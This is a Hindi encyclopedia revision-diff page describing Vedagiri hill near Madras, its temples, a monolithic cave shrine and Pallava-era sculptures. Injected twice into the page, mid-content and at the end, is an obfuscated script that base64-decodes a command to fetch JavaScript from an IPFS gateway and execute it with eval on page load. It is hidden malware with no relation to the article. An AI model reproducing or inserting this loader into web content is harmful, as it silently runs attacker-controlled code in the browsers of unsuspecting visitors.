"वेदगिरि" के अवतरणों में अंतर
भारत डिस्कवरी प्रस्तुति
पंक्ति 2: | पंक्ति 2: | ||
*वेदगिरि पहाड़ी 500 फुट ऊंची है और इसका क्षेत्रफल प्रायः 265 एकड़ और घेरा दो मील के लगभग है। | *वेदगिरि पहाड़ी 500 फुट ऊंची है और इसका क्षेत्रफल प्रायः 265 एकड़ और घेरा दो मील के लगभग है। | ||
− | *पहाड़ी के नीचे बने मंदिर की बहुत ख्याति है और कहा जाता है कि 'अप्पर', 'संबंदर', 'अरुणागिरी', 'शंकरर' तथा अन्य महात्माओं ने | + | *पहाड़ी के नीचे बने मंदिर की बहुत ख्याति है और कहा जाता है कि 'अप्पर', 'संबंदर', 'अरुणागिरी', 'शंकरर' तथा अन्य महात्माओं ने यहाँ आकर 'भक्तवत्सलेश्वर' तथा '[[त्रिपुर सुन्दरी शक्तिपीठ|त्रिपुरसुंदरी]]' के दर्शन किए थे। |
− | *यहाँ गिरिशिखर पर बना हुआ मंदिर बहुत प्रसिद्ध है। शिखर के नीचे की ओर जाते हुए एक गुफ़ा मंदिर मिलता है, जो एक ही विशाल प्रस्तर खंड में से कटा हुआ है। इसी कारण इसे 'ओरुक्कल मंडप' कहते | + | *यहाँ गिरिशिखर पर बना हुआ मंदिर बहुत प्रसिद्ध है। शिखर के नीचे की ओर जाते हुए एक गुफ़ा मंदिर मिलता है, जो एक ही विशाल प्रस्तर खंड में से कटा हुआ है। इसी कारण इसे 'ओरुक्कल मंडप' कहते हैं। इसके दो बरामदे हैं, जिनमें से प्रत्येक चार भारी स्तम्भों पर आधृत है। मंडप के भीतर [[पल्लव साम्राज्य|पल्लव कालीन]] (7वीं शती ई. की) अनेक कलापूर्ण मूर्तियाँ है। |
*वेदगिरि को 'ब्रहागिरि' के नाम से भी जाना जाता है।<ref>{{पुस्तक संदर्भ |पुस्तक का नाम=ऐतिहासिक स्थानावली|लेखक=विजयेन्द्र कुमार माथुर|अनुवादक= |आलोचक= |प्रकाशक=राजस्थान हिन्दी ग्रंथ अकादमी, जयपुर|संकलन= भारतकोश पुस्तकालय|संपादन= |पृष्ठ संख्या=874-75|url=}}</ref> | *वेदगिरि को 'ब्रहागिरि' के नाम से भी जाना जाता है।<ref>{{पुस्तक संदर्भ |पुस्तक का नाम=ऐतिहासिक स्थानावली|लेखक=विजयेन्द्र कुमार माथुर|अनुवादक= |आलोचक= |प्रकाशक=राजस्थान हिन्दी ग्रंथ अकादमी, जयपुर|संकलन= भारतकोश पुस्तकालय|संपादन= |पृष्ठ संख्या=874-75|url=}}</ref> | ||
13:48, 30 नवम्बर 2014 का अवतरण
वेदगिरि मद्रास[1] से 4 मील दूर पक्षीतीर्थ की एक पहाड़ी का नाम है। पौराणिक कथा के अनुसार वेदों की स्थापना इस पहाड़ी पर कुछ समय तक शिव की आज्ञा से की गई थी।
- वेदगिरि पहाड़ी 500 फुट ऊंची है और इसका क्षेत्रफल प्रायः 265 एकड़ और घेरा दो मील के लगभग है।
- पहाड़ी के नीचे बने मंदिर की बहुत ख्याति है और कहा जाता है कि 'अप्पर', 'संबंदर', 'अरुणागिरी', 'शंकरर' तथा अन्य महात्माओं ने यहाँ आकर 'भक्तवत्सलेश्वर' तथा 'त्रिपुरसुंदरी' के दर्शन किए थे।
- यहाँ गिरिशिखर पर बना हुआ मंदिर बहुत प्रसिद्ध है। शिखर के नीचे की ओर जाते हुए एक गुफ़ा मंदिर मिलता है, जो एक ही विशाल प्रस्तर खंड में से कटा हुआ है। इसी कारण इसे 'ओरुक्कल मंडप' कहते हैं। इसके दो बरामदे हैं, जिनमें से प्रत्येक चार भारी स्तम्भों पर आधृत है। मंडप के भीतर पल्लव कालीन (7वीं शती ई. की) अनेक कलापूर्ण मूर्तियाँ है।
- वेदगिरि को 'ब्रहागिरि' के नाम से भी जाना जाता है।[2]
|
|
|
|
|
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
टीका टिप्पणी और संदर्भ
संबंधित लेख
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>